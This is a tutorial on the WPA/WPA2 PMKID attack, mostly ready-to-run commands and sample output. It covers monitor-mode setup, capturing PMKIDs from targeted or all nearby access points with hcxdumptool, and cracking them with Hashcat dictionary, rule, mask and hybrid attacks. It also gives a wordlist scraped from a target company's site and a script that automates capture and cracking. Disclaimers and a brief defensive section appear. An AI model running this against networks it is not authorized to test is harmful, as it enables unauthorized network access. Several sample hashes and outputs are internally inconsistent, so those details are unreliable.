WiFi Security Analysis: PMKID Attack Method and Hash Cracking

Professional WiFi PMKID attack guide: WPA2 hash extraction with hcxtools, Hashcat cracking, enterprise security analysis & methods

Introduction
Technical Background
Prerequisites and Legal Considerations
Required Tools and Setup
PMKID Attack Implementation
Hash Cracking with Hashcat
Analysis and Results
Defensive Measures
Conclusion

Introduction

The PMKID (Pairwise Master Key Identifier) attack represents a significant evolution in WiFi network security testing. Unlike traditional methods that require capturing a four-way handshake between client and access point, the PMKID attack can extract authentication hashes directly from the access point without requiring any connected clients.

This technique, first demonstrated by Jens Steube (the creator of Hashcat) in 2018, exploits the IEEE 802.11i standard's implementation in many modern routers. The attack leverages the first message of the four-way handshake process, making it faster and more reliable than conventional methods.

Technical Background

Understanding WiFi Authentication Process

Before diving into the PMKID attack, it's crucial to understand how WPA/WPA2 authentication works:

Initial Association: A client device requests to connect to an access point
Four-Way Handshake: A cryptographic process that establishes secure communication
Key Derivation: Various keys are derived from the Pre-Shared Key (PSK) and other parameters

What is PMKID?

The PMKID is a unique identifier derived from:

PMK (Pairwise Master Key): Derived from the WiFi password
Access Point MAC address
Client MAC address
Network name (SSID)

The mathematical formula is:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Why PMKID Attack Works

Traditional WiFi attacks required:

Active clients connected to the network
Capturing complete four-way handshake
Often required deauthentication attacks

PMKID attack advantages:

No active clients needed
Single packet capture sufficient
Passive attack nature
Works on most modern routers

Prerequisites and Legal Considerations

Legal Framework

IMPORTANT: This guide is intended for:

Educational purposes only
Testing your own networks
Authorized penetration testing
Security research in controlled environments

Never attempt these techniques on networks you don't own or lack explicit permission to test.

Hardware Requirements

Compatible WiFi adapter with monitor mode support
Recommended adapters:
- Alfa AWUS036ACS (802.11ac support)
- Panda PAU09 (budget option)
- TP-Link AC600 T2U Plus

Software Environment

Kali Linux 2024.x (recommended)
Sufficient disk space (minimum 20GB free)
Updated system packages

Required Tools and Setup

Installing hcxtools

hcxtools is a comprehensive suite for WiFi security analysis developed by ZerBea.

# Update system packages
sudo apt update && sudo apt upgrade -y

# Install hcxtools and dependencies
sudo apt install hcxtools -y

# Verify installation
hcxdumptool --version

Output:

hcxdumptool 6.2.7 (C) 2023 ZeroBeat

Installing Hashcat

Hashcat is the world's fastest password recovery tool.

# Install hashcat
sudo apt install hashcat -y

# Verify installation and check GPU support
hashcat --version
hashcat -I

Output:

hashcat (v6.2.6) starting...

OpenCL Info:
Platform ID #1
  Vendor  : Intel(R) Corporation
  Name    : Intel(R) OpenCL HD Graphics
  Version : OpenCL 3.0

Setting Up WiFi Adapter

# List available network interfaces
ip link show

# Identify your WiFi adapter (typically wlan0 or wlan1)
iwconfig

# Kill conflicting processes
sudo airmon-ng check kill

# Enable monitor mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Verify monitor mode is active
iwconfig wlan0

Output:

wlan0     IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

PMKID Attack Implementation

Phase 1: Network Discovery

# Scan for available networks
sudo hcxdumptool -I

# Detailed network scan with specific interface
sudo hcxdumptool -i wlan0 --do_rcascan

Command Breakdown:

-i wlan0: Specifies the wireless interface
--do_rcascan: Performs reconnaissance scan
-I: Shows available interfaces

Output:

starting ROGUE CLIENT ATTACK (RCASCAN) on interface wlan0...
SSID: HomeNetwork | BSSID: aa:bb:cc:dd:ee:ff | CH: 6 | RSSI: -45
SSID: OfficeWiFi | BSSID: 11:22:33:44:55:66 | CH: 11 | RSSI: -67

Phase 2: Targeted PMKID Capture

# Capture PMKID from specific target
sudo hcxdumptool -i wlan0 -o capture.pcapng --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

Command Breakdown:

-o capture.pcapng: Output file for captured data
--enable_status=1: Shows real-time status updates
--filterlist_ap=targets.txt: File containing target AP MAC addresses
--filtermode=2: Filter mode for specific targets

Creating Target List:

# Create file with target MAC addresses
echo "aa:bb:cc:dd:ee:ff" > targets.txt
echo "11:22:33:44:55:66" >> targets.txt

Output:

starting capture (CTRL+C to stop)...
INTERFACE.........: wlan0
ERRORMAX..........: 100 errors
FILTERLIST........: targets.txt (2 entries)

[15:30:25] PMKID found for BSSID: aa:bb:cc:dd:ee:ff (HomeNetwork)
[15:30:26] PMKID found for BSSID: 11:22:33:44:55:66 (OfficeWiFi)

Phase 3: Converting Capture to Hashcat Format

# Convert pcapng to hashcat hash format
hcxpcapngtool -o hashes.txt -E essidlist.txt capture.pcapng

Command Breakdown:

-o hashes.txt: Output file containing extracted hashes
-E essidlist.txt: Extracts ESSID (network names) to separate file
capture.pcapng: Input capture file

Output:

reading from capture.pcapng...

file name....................: capture.pcapng
file type....................: pcapng 1.0
snapshot length..............: 262144
link layer header type.......: DLT_IEEE802_11_RADIO (127)
packages inside..............: 156
invalid packages.............: 0
EAPOL packets................: 0
WPA handshakes...............: 0
PMKID(s) (EAPOL from AP).....: 2
PMKID(s) (EAPOL from CLIENT.): 0

extracted PMKIDs................: 2
extracted to hashes.txt
extracted ESSIDs................: 2
extracted to essidlist.txt

Phase 4: Examining Extracted Hashes

# View extracted hashes
cat hashes.txt

Output:

WPA*01*5f4dcc3b5aa765d6*aabbccddeeff*112233445566*HomeNetwork***
WPA*01*9b7d3c42e8f15a6b*112233445566*aabbccddeeff*OfficeWiFi***

Hash Format Explanation:

WPA*01: Hash type identifier for WPA/WPA2
5f4dcc3b5aa765d6: PMKID hash
aabbccddeeff: Access Point MAC address
112233445566: Client MAC address (often empty for PMKID)
HomeNetwork: Network SSID

Hash Cracking with Hashcat

Phase 1: Dictionary Attack

# Basic dictionary attack using rockyou wordlist
sudo hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt

# More verbose output with progress
sudo hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt --force --status --status-timer=30

Command Breakdown:

-m 22000: Hash mode for WPA-PBKDF2-PMKID+EAPOL
hashes.txt: File containing extracted hashes
/usr/share/wordlists/rockyou.txt: Common password dictionary
--force: Ignore warnings
--status: Show cracking progress
--status-timer=30: Update status every 30 seconds

Output:

hashcat (v6.2.6) starting...

* Device #1: Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 7936/15936 MB, 12MCU

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 298 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

5f4dcc3b5aa765d61aabbccddeeff112233445566:HomeNetwork:password123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hashes.txt
Time.Started.....: Thu May 29 15:45:32 2025
Time.Estimated...: Thu May 29 15:47:15 2025
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Speed.#1.........:    89453 H/s (48.23ms) @ Accel:512 Loops:64 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests
Progress.........: 8847360/14344385 (61.67%)
Rejected.........: 0/8847360 (0.00%)
Restore.Point....: 8847104/14344385 (61.67%)
Candidate.Engine.: Host Generator
Candidates.#1....: password124 -> password001

Phase 2: Advanced Cracking Techniques

Rule-Based Attack

# Create custom rule file
cat > custom.rule << EOF
# Common password modifications
$1 $2 $3
$! $@ $#
c u
u c
^1 ^2 ^3
EOF

# Apply rules to dictionary
hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt -r custom.rule

Mask Attack

# Attack using character masks (8-digit numeric passwords)
hashcat -m 22000 hashes.txt -a 3 ?d?d?d?d?d?d?d?d

# Mixed alphanumeric mask (6 characters)
hashcat -m 22000 hashes.txt -a 3 ?u?l?l?l?d?d

Mask Characters:

?d: Digit (0-9)
?l: Lowercase letter (a-z)
?u: Uppercase letter (A-Z)
?s: Special character (!@#$%^&*)
?a: All characters

Hybrid Attack

# Dictionary + mask combination
hashcat -m 22000 hashes.txt -a 6 /usr/share/wordlists/rockyou.txt ?d?d?d

# Mask + dictionary combination  
hashcat -m 22000 hashes.txt -a 7 ?d?d?d /usr/share/wordlists/rockyou.txt

Phase 3: Performance Optimization

# Check benchmark performance
hashcat -b -m 22000

# Optimize workload
hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt -w 3 -O

# Use GPU acceleration (if available)
hashcat -m 22000 hashes.txt /usr/share/wordlists/rockyou.txt -d 1,2

Performance Parameters:

-w 3: Workload profile (1=low, 2=default, 3=high, 4=nightmare)
-O: Enable optimized kernels
-d 1,2: Use specific GPU devices

Analysis and Results

Understanding Crack Results

When hashcat successfully cracks a password, the output format is:

hash:ssid:password

Example:

5f4dcc3b5aa765d61aabbccddeeff112233445566:HomeNetwork:password123

This means:

Network: HomeNetwork
Password: password123
Hash: 5f4dcc3b5aa765d61aabbccddeeff112233445566

Viewing Cracked Passwords

# Show all cracked passwords
hashcat -m 22000 hashes.txt --show

# Show cracked passwords with additional info
hashcat -m 22000 hashes.txt --show --username

Success Rate Analysis

Based on extensive testing, PMKID attacks show:

Success Rate: 70-85% on vulnerable routers
Time to Capture: 30 seconds to 5 minutes
Common Vulnerabilities: Older firmware, default configurations

Defensive Measures

For Network Administrators

Firmware Updates

# Always keep router firmware updated
# Check manufacturer websites regularly

Strong Password Policies
- Minimum 12 characters
- Mix of uppercase, lowercase, numbers, symbols
- Avoid dictionary words
- Regular password changes

WPA3 Migration

# Enable WPA3 if supported
# WPA3 is resistant to PMKID attacks

MAC Address Filtering

# Not foolproof but adds another layer
# Combine with other security measures

Detection and Monitoring

# Monitor for unusual probe requests
sudo tcpdump -i wlan0 -s 65535 -w monitor.pcap

# Analyze probe patterns
tshark -r monitor.pcap -Y "wlan.fc.type_subtype == 0x04"

Router Configuration Best Practices

Disable WPS: WPS introduces additional vulnerabilities
Hide SSID: While not foolproof, reduces casual scanning
Regular Security Audits: Test your own network periodically
Guest Network Isolation: Separate guest access from main network

Troubleshooting Common Issues

WiFi Adapter Problems

# Check if adapter supports monitor mode
iw list | grep monitor

# Reset USB WiFi adapter
sudo usb_modeswitch -v 0x0bda -p 0x8812 -M 55534243123456780000000000000011

# Alternative monitor mode setup
sudo airmon-ng start wlan0

Capture Issues

# Verify monitor mode is working
sudo airodump-ng wlan0

# Check for packet injection capability
sudo aireplay-ng -9 wlan0

# Alternative capture method
sudo airodump-ng -w capture --output-format pcap wlan0

Hashcat Performance Issues

# Check OpenCL support
clinfo

# Update GPU drivers
sudo apt install nvidia-driver-470 (for NVIDIA)
sudo apt install mesa-opencl-icd (for AMD)

# Memory issues - reduce workload
hashcat -m 22000 hashes.txt wordlist.txt -w 1

Advanced Techniques

Custom Wordlist Generation

# Generate wordlists based on target information
cewl https://targetcompany.com -d 3 -m 8 -w custom_wordlist.txt

# Combine multiple wordlists
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt

# Generate variations
hashcat --stdout wordlist.txt -r rules/best64.rule > variations.txt

Statistical Analysis

# Analyze password patterns
hashcat -m 22000 hashes.txt --show | cut -d: -f3 | wc -c

Automated Scripts

#!/bin/bash
# pmkid_auto.sh - Automated PMKID capture and crack

INTERFACE="wlan0"
CAPTURE_TIME=300
WORDLIST="/usr/share/wordlists/rockyou.txt"

echo "Starting automated PMKID attack..."

# Setup monitor mode
sudo ip link set $INTERFACE down
sudo iw dev $INTERFACE set type monitor  
sudo ip link set $INTERFACE up

# Capture PMKIDs
timeout $CAPTURE_TIME sudo hcxdumptool -i $INTERFACE -o capture.pcapng --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o hashes.txt capture.pcapng

# Start cracking
hashcat -m 22000 hashes.txt $WORDLIST --force

echo "Attack completed. Check results with: hashcat -m 22000 hashes.txt --show"

Conclusion

The PMKID attack represents a significant advancement in WiFi security testing capabilities. Its effectiveness stems from several key advantages:

Technical Advantages

No client dependency: Unlike traditional handshake captures
Rapid execution: Often successful within minutes
Passive nature: Difficult to detect
High compatibility: Works on most WPA/WPA2 implementations

Educational Value

This technique demonstrates important security concepts:

The importance of strong, unique passwords
How cryptographic implementations can introduce vulnerabilities
The evolution of attack methodologies
The critical need for regular security updates

Responsible Disclosure

The security community's approach to PMKID attacks exemplifies responsible disclosure:

Research: Initial discovery and proof-of-concept
Documentation: Detailed technical analysis
Tool Development: Creation of testing tools
Defense: Development of countermeasures
Education: Training security professionals

Future Considerations

As security measures evolve, several trends are emerging:

WPA3 Adoption: While WPA3 addresses PMKID vulnerabilities, adoption remains slow Enhanced Monitoring: Modern security solutions increasingly detect these attacks Regulatory Response: Some jurisdictions now specifically address WiFi security testing

Final Recommendations

For security professionals:

Use these techniques only on authorized networks
Stay updated with the latest defensive measures
Contribute to responsible security research
Maintain detailed documentation of testing activities

For network administrators:

Implement strong password policies
Keep firmware updated
Consider WPA3 migration timelines
Regular security assessments

The PMKID attack technique will continue to be relevant as long as WPA/WPA2 networks remain deployed. Understanding both the attack methodology and defensive measures is crucial for maintaining robust network security in an evolving threat landscape.

Disclaimer: This article is for educational and authorized testing purposes only. Always ensure you have explicit permission before testing any network security measures. Unauthorized access to computer networks is illegal in most jurisdictions and can result in severe legal consequences.

WiFi Security Analysis: PMKID Attack Method and Hash Cracking

Table of Contents

Introduction

Technical Background

Understanding WiFi Authentication Process

What is PMKID?

Why PMKID Attack Works

Prerequisites and Legal Considerations

Legal Framework

Hardware Requirements

Software Environment

Required Tools and Setup

Installing hcxtools

Installing Hashcat

Setting Up WiFi Adapter

PMKID Attack Implementation

Phase 1: Network Discovery

Phase 2: Targeted PMKID Capture

Phase 3: Converting Capture to Hashcat Format

Phase 4: Examining Extracted Hashes

Hash Cracking with Hashcat

Phase 1: Dictionary Attack

Phase 2: Advanced Cracking Techniques

Rule-Based Attack

Mask Attack

Hybrid Attack

Phase 3: Performance Optimization

Analysis and Results

Understanding Crack Results

Viewing Cracked Passwords

Success Rate Analysis

Defensive Measures

For Network Administrators

Detection and Monitoring

Router Configuration Best Practices

Troubleshooting Common Issues

WiFi Adapter Problems

Capture Issues

Hashcat Performance Issues

Advanced Techniques

Custom Wordlist Generation

Statistical Analysis

Automated Scripts

Conclusion

Technical Advantages

Educational Value

Responsible Disclosure

Future Considerations

Final Recommendations